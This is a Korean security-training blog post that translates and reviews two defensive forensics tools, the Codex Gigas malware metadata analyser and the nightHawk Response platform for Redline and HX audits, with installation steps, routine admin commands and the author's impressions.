시간을 절약하기 위해 여러 개의 파일을 업로드하길 원한다면 기능 패널의 Load 탭으로 이동한다. 그러면 다음과 같은 화면을 볼 수 있다.

Codex Gigas 홈 폴더에 위치한 files_to_load 폴더에 다수의 악성코드를 복사한 후 load를 클릭하면 한 번에 파일들이 데이터베이스에 분석되어 저장된다.

Codex Gigas의 샘플 처리

업로드된 파일은 해시(MD5, SHA1, SHA256)로 검색하거나, 이미 알고 있는 파일의 속성을 이용하여 메타데이터 정보를 얻을 수 있다. 이렇게 하려면 기능 패널에서 Process tab으로 이동하고 정보가 필요한 파일의 해시를 복사 붙여넣기 한 후에 Process 버튼을 클릭한다.

검색하려한 해시를 Codex Gigas에서 찾을 수 없는 경우 "Not Found"가 표시되고 리스트에서 누락된다. 원하는 필드를 처리한 후에는 Search 기능으로 검색할 수 있다.


Codex Gigas Thanks

다음 도구를 제작한 개발자들에게 감사의 인사를 드린다.

Projects


사용 후기

  • 웹 서버는 크롬 브라우저와 인터넷 익스플로러에선 원활하게 동작하지 않고 파이어폭스에서 잘 동작한다.
  • 어떤 데이터를 저장하고 운영할 것인지 자동화되어 고민할 필요는 없지만, 추가적으로 검색하여 새로운 정보를 추출하기 위해서는 분석가의 기억력에 의존해야한다.
  • 동적 분석으로 나오는 결과를 사용하는 부분이 없기 때문에 아쉽다.
    • Cuckoo나 MISP 등 섞어 사용하면 좋을 것 같다.


참고 사이트


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by Hakawati in KISEC 40th


nightHawk Response

엘라스틱서치 백엔드에 동시에 존재하지 않는 포렌식 데이터를 시각화하기 위해 응용프로그램을 만들었다.

이 응용프로그램은 맨디언트 레드라인(Mandiant Redline)의 "collections" 파일을 흡수할 수 있도록 설계되어 검색/스택과 태그의 유연성을 제공한다.

응용프로그램은 하나의 창에서 여러 개의 조사 결과(또는 수백 개의 엔드포인트)를 제어할 수 없다는 것을 보고 만들었다.

레드라인 감사를 흡수하기 위해, nightHawk.GO를 만들었고, 이 프레임워크와 함께 사용하도록 Gopher 응용프로그램을 디자인했다. 응용프로그램에 대한 소스 코드는 이 저장소에서 사용할 수 있고, 바이너리는 컴파일되었으며, 부팅만으로 도구를 사용할 수 있도록 ISO를 준비해두었다.

Build

16/07/16 : Version 1.0.2

  1. Bug 수정 (토큰화와 매핑 업데이트)
  2. 글로벌 검색 에러 처리, 키워드 강조
  3. URL 도메인, DNS 스태킹(Stacking), 스태킹 레지스트리 수정
  4. 데이터 색인 재생성 유틸리티 추가 (사용 방법은 wiki article를 참조)
  5. 새 버전의 ISO를 다운로드하지 않고 yum으로 소스코드 업데이트할 수 있도록 기능을 추가 (사용 방법은 wiki article를 참조)
  6. 하루가 지나면 /opt/nighthawk/var/media 폴더의 오래된 수집 파일을 삭제 (또는 폴더 크기가 2GB 이상일 때)
  7. w32system 추가 (시스템 정보)
  8. hostname을 위해 postController에 정적 매핑을 삭제함
  9. default_field가 엘라스틱서치에 전달되지 않는 전체적인 감사 문제를 해결

기능:

비디오 데모: nightHawk Response Platform

  • 단일 보기 형식의 엔드포인트 포렌식(Single view endpoint forensics) (다수 감사 유형)
  • 글로벌 검색
  • 타임라인 생성
  • 스태킹
  • 태깅
  • 대화형 프로세스 트리 뷰
  • 여러 파일 업로드 & 지명 형식의 조사


nightHawk ISO

nightHawk를 사용자들이 쉽게 사용할 수 있게 모든 설정을 포함한 ISO를 만들어 준비했다.

  1. 최신 nightHawk 소스
  2. CentOS 7 Minamal에 nightHawk 운영에 필요한 핵심 라이브러리를 포함
  3. 리버스 프록시에서 Nginx와 UWSGI를 설치(이미 구성되고 최적화됨), SSL 활성화됨
  4. 최신 엘라스틱서치/키바나 (원하는 경우 키바나는 웹 서비스 열람 가능)
  5. 모든 핵심 서비스를 위한 Sysctrl
  6. 모든 핵심 서비스를 위한 (rotated) 로그
  7. 시스템 설정 구성의 모든 리스트는 `/opt/nighthawk/etc/nightHawk.json' 파일에서 찾을 수 있음

시스템 구성:

제공된 ISO를 이용하여 VM을 구축할 때 다음 사항들을 고려한다.

1. CPU/RAM

pending: 노드 당 할당된 시스템 메모리의 1/4이 듀얼 노드로 엘라스틱 서비스로 설정한다. 이것이 의미하는 것은 2기가 램이면, 각각 ES 노드가 512메가가 되고, 시스템은 1기가로 유지된다.

기타 다른 방법으로 설정하기를 원한다면, SSH로 접속하는 방식으로 구성할 수 있다.

2. HDD

최소 20기가 고려해야 한다. 감사 파일이 클 수 있기에 많은 컬렉션을 흡수하고 처리하기 위해 저장소는 많이 할당하는 것이 좋다.

pending: 대규모 크기의 인스턴스를 위해 사용자 기반 저장소를 설정한다.  별도의 파티션을 원하는 경우, 몇 가지 변경을 통해 새 파티션으로 ES 데이터 저장소를 가리키도록 직접 작업할 수 있다.

설치:

  • ISO 다운로드: nightHawk v1.0.2
  • 하드웨어 구성하고 ISO를 VM에 마운드 하면 설치 스크립트가 시작
  • 한 번에 완료되고, 브라우저 (크롬/파이어폭스)로 https://192.168.42.173에 접속
  • 키바나에 접속하고 싶다면 https://192.168.42.173:8443에 접속
  • SSH로 접속하고 싶다면 로그인은 admin/nightHawk를 사용
  • 아이피를 변경하고 싶다면 (응용프로그램 전체에 반영) /opt/nighthawk/bin/nighthawkctl set-ip <new_ipaddress>를 이용
  • 깃허브 저장소의 루트 경로에 있는 레드라인 감사 수집 스크립트(MemoryzeAuditScript.xml)를 사용하여 nightHawk를 채울 수 있는 기록을 생성할 수 있음

업로드:

업로드를 위한 감사 zip 파일 생성 (레드라인 독립형 수집기):

step_1: Sessions\AnalysisSessionX\Audits\<ComputerName> 로 이동하는데, X는 대부분 1 임

step_2: 예로 20160708085733 감사 파일을 포함하는 폴더를 zip 파일로 생성

step_3: 20160708085733.zip 파일을 업로드

중요: 기존 HX 감사 파일 사용 (HX 수집기): 파이어아이 HX 감사는 마지막에 .mans로 끝나는 확장자다. .mans 파일이 실제 zip 파일이기에 HX 감사는 레드라인 수집기와 다르다. 다시 말해서 위에서 언급한 레드라인 감사 파일을 압축하여 업로드하는 것과 달리 .mans 파일을 직접 업로드할 수 있음을 의미한다.

내비게이션 바에서 "Upload" 아이콘을 선택하여 감사 .zip (또는 여러 개) 파일을 선택하고, 사건 이름(입력하지 않으면 시스템이 자동 생성) 입력하여 제출한다. 레드라인 감사 스크립트를 이용하여 수집하였다면, 위에서 언급한 "레드라인 수집기" 지침에 따라 수행한다.

한번 처리되면, 엔드포인트는 "Current Investigation" 트리 노드에 표시될 것이다. 엔드포인트에서 해당 엔드포인트에 사용할 수 있는 모든 감사 유형이 표시된다. 웹 응용프로그램의 업로드 기능은 엘라스틱서치에 밀어 넣는 데이터와 레드라인 감사를 분석하는 것을 GO 응용프로그램이 popen 서브 프로세스를 호출하여 생성한다. 업로드를 위한 두 개 옵션이 있는데 하나는 순차적이고 다른 하나는 동시에 진행한다.

참고: 동시에 업로드하는 것은 자원을 많이 소비하기에 한 번에 5개로 제한하는데, 스펙이 낮은 컴퓨터인 경우 2-3개로 제한할 수 있다.

태깅:

데이터에 태그하기 위해서 (응답 보기에서) 모든 테이블에 모든 행을 클릭할 수 있다. 한번 태그되면 코멘트 보기에서 코멘트를 볼 수 있다.

엘라스틱서치:

사용자 정의 매핑(git 루트에서 제공)과 그에 따른 의견은 다음에서 볼 수 있다.

1. 상위/하위 관계:

기록은 상위/하위 관계를 GO 언어로 작성된 앱을 통해 인덱싱 된다. 이렇게 선택한 이유는 기록한 것을 잘 볼 수 있도록 상대적 논리 경로를 제공할 수 있기 때문이다. 즉, 상위는 엔드포인트 이름이고 하위는 감사 유형이다. 상위/하위 관계 기록을 추려내는 것은 규모를 볼 수 있어 이해하기 좋다. 특정 감사 유형에 대한 모든 하위 기록을 추려내기 위해 배열에 상위 데이터를 구축하는 것이 필요하다. 이때 스태킹 프레임워크가 사용된다.

2. 조각내기:

엘라스틱서치 설치는 튜닝 및 적절한 설계를 요구한다. 조각내기<sup>sharding</sup>는 상위/하위 기록을 연결하고 있기 때문에 이해하는 것이 중요하다. 하위는 항상 상위에 전달되며, 그 자체로는 존재할 수 없다. 이것이 의미하는 것은 인덱스가 얼마나 많은 조각들에 의미를 부여하는 가다. 우리가 이해할 것은 단편 조각들과 함께 많은 노드를 encorporated로 선택하여 설치하는 것이 현명할 수 있다는 것이다. 이러한 설치에서 성능을 개선하기 위해서는 조각의 경로를 검색하는 방법이다.

우리는 빠른 검색을 위한 취적의 구성을 설계하려고 노력한다.

3. 규모:

nightHawk 응용프로그램은 확장할 수 있도록 설계되었다. 초기 디자인 주제에서, 우리는 약 4백만 개 이상 기록(또는 50대의 엔드포인트를 소화)을 3 ES 노드(맥북 프로)를 포함하는 단일 CPU 2gb 우분투 VM으로 무리 없이 동작시켰다. 응용프로그램을 64/128기가 램과 SAS 저장소를 설치하여 운영하는 것이 응용프로그램이 한꺼번에 분석하여 빠르 응답 시간을 유지할 수 있다.

고려 사항:

1. 혼합 처리한 DataTables:

테이블에 있는 모든 기록을 표현하기에는 덩치가 큰 여러 가지 감사 유형을 소화해야 한다. 예를 들면, URL 사용 내역과 레지스트리는 15k 크기의 DOM 문서를 반환하는데 이 문서를 렌더링하는 사용자의 브라우저는 부담을 느낄 것이다. 이러한 부담을 방지하기 위해 감사 유형을 포함하는 결과 페이지는 서버에서 처리하도록 구성했다. 다시 말해서 백엔드에 엘라스틱서치를 사용하여 기록에서 감사 유형을 검색할 수 있음을 의미한다.

2. 태깅:

현재 기록을 태그하고 그 의견을 볼 수 있다. 이 태그는 업데이트하거나 변경할 수 있다. 분석가는 기록에 날짜/분석 이름/설명과 같은 것을 제공할 수 있다.

종속적인 응용프로그램 (사전에 모두 설치):

elasticsearch-dsl.py

django 1.8

python requests

앞으로 해야할 것:

  • 프로세스 처리 (진행 중)
  • 시간 기반 생성기를 위한 시간 선택 슬라이더 (진행 중)
  • 현재/이전 조사를 위한 콘텍스트 메뉴
  • 태그 콘텍스트. 태그 시스템은 분석 창에서 실시간 설명을 위해 웹소켓 루프로 통합할 예정(진행 중)
  • 응용프로그램 콘텍스트
  • 서로 다른 콘텍스트 사이를 넘나드는 능력
  • 잠재적으로 조사한 날자를 운용하기 위한 노드 트리를 재설계
  • 선택적 스태킹, 현재 루트 노드를 선택하는 것은 가능
  • 조각 경로를 검색
  • 레드라인 감사 스크립트 템플릿
  • AngularJS와 광범위한 통합 (진행 중)
  • 반응형 디자인 (진행 중)
  • 핵심 설정의 구성을 위한 관리 제어 페이지 (진행 중)

제작자 & 참고:

우리는 항상 프로젝트에 기여하길 원하는 분들을 찾고 있다. 당신이 원하는 무언가를 요청하길 바라고 그것이 좋은 아이디어인 경우에 병합할 생각은 있지만 웹 디자인은 의미가 없다.

Daniel Eden & Roshan Maskey

Credits:

Mandiant Redline devs, AngularJS, Django devs, Angular-DataTables/DataTables, D3(Bostock), Elasticsearch/ES-dsl.py, jsTree, qTip, GOlang, Python, Fahad Abdulaal(Logo/Video).


스크린샷


설치

가상머신 설정, ISO 마운트 그리고 설치

가상머신을 설정할 때 CentOS 64비트로 구성한다.

번역한 내용을 살펴보면 64기가 메모리 등 높은 사양을 요구하기에 사용자가 줄 수 있는 최대의 사양을 부여한다.

1. CPU/RAM/HDD

  • Number of processors: 2
  • Number of cores per processor: 4
  • Memory: 4GB
  • 50GB

구성이 완료되었다면 다운로드받은 nightHawkResponse.iso 파일을 마운트한다.

이제 가상머신을 실행하면 설치할 수 있는 항목을 볼 수 있다.

Install nightHawk Response v1.0.2를 선택하면 바로 설치가 진행된다.

설치가 완료되면 다음과 같이 로그인 할 수 있는 화면으로 전환된다. 아이디와 비밀번호는 admin/nightHawk 다.

아이피, DNS 설정, 패키지 업데이트

아이피가 고정으로 192.168.42.173이 설정되어 있다. 아이피 설정을 바꾸기위해 로그인 한다. 설정을 바꾸기 위해 다음과 같이 명령을 이용한다. nightHawk는 CentOS 7 minimal 버전을 사용하고 있기에 SELinux가 적용되어 enforce mode로 동작한다. 따라서 sudo 명령을 함께 사용한다.

sudo /opt/nighthawk/bin/nighthawkctl set-ip 192.168.0.128

nightHawk는 yum으로 업데이트가 가능하다. 따라서 DNS를 설정하여 최신버전의 nightHawk가 존재하는지 확인한다. DNS 설정을 위해 nmtui 명령으로 DNS를 설정한다.

nmtui

설정이 완료되었다면, 네트워크 서비스를 재시작한다.

sudo service network restart

www.google.com 도메인으로 핑 테스트하여 원활하게 통신하는지 확인한다.

새로운 패키지 정보를 갱신한다.

sudo yum check-update

nightHawk 패키지를 업데이트한다. 최신버전이면 추가 설치가 없이 종료된다. 먼저 nightHawk와 관련된 패키지들을 살펴보자.

yum list installed | grep nighthawk*
nighthawk.x86_64                   0.1-1.el7.nhr                       @anaconda
nighthawk-elastic.x86_64           0.1-1.el7.nhr                       @anaconda
nighthawk-kibana.x86_64            0.1-1.el7.nhr                       @anaconda
nighthawk-release.x86_64           0.1-1.el7.nhr                       @anaconda
업데이트를 통해 추가 설치할 요소가 있는지 살펴본다.

sudo yum update nighthawk*
[sudo] password for admin:
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirror.navercorp.com
 * epel: mirror.premi.st
 * extras: mirror.navercorp.com
 * updates: mirror.navercorp.com
No packages marked for update

모든 준비가 끝났다면, 브라우저를 이용하여 할당한 아이피로 접근하여 nightHawk를 사용할 수 있다.

테스트

nightHawk가 정보를 가공하는 것을 보려면, 정보가 필요하다. 이 정보는 앞서 번역한 내용처럼 레드라인을 이용하거나 HX 콜렉터를 이용할 수 있다. 하지만 이러한 도구를 이용하기 전에 간단하게 테스트할 수 있도록 깃허브의 nighthawk_utils 폴더에는 샘플로 20160707054834.zip 파일을 제공한다. 이 파일을 다운로드 받고 웹으로 업로드하여 분석 결과를 확인해보자.

업로드는 .zip 파일을 압축 해제하지 않고 업로드한다.

파일은 /opt/nighthawk/var/media에 업로드된다.

pwd
/opt/nighthawk/var/media
ls -al
total 12692
drwxr-xr-x. 2 nighthawk nighthawk     4096 Jul 21 07:24 .
drwxr-xr-x. 9 nighthawk nighthawk     4096 Jul 21  2016 ..
-rw-rw-rw-. 1 nighthawk nighthawk 12987319 Jul 21 07:24 20160707054834.zip

nightHawk가 분석을 완료하면 다음과 같이 볼 수 있다.


사용 후기

  • 처리 속도가 엄청 느림
    • 가상머신 스펙 때문인듯
  • 브라우저 렌더링 속도도 엄청 느림
    • 레드라인으로 직접 수집한 데이터를 파싱시켰을 때 분석 및 열람이 거의 불가능
  • 그래도 샘플을 이용했을 땐 좀 볼 수 있음
    • Response 기능과 Global Search만
    • Timeline 기능은 애매하게 동작
    • Stacking 기능이 가장 중요한 것 같지만 오래걸림
  • 감사 수집 스크립트(MemoryzeAuditScript.xml)를 깃허브에서 제공하는데 어떻게 사용할지 고민
  • 편리하게 사용할 수 있도록 iso를 제공하지만, 깃허브의 소스코드는 어떻게 컴파일하고 운영할지에 대한 내용이 없음
  • 요구 스펙이 큰걸 보았을때 개인적으로 사용하거나 운용하기 힘들어 보임


참조 사이트


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by Hakawati in KISEC 40th

+ Recent posts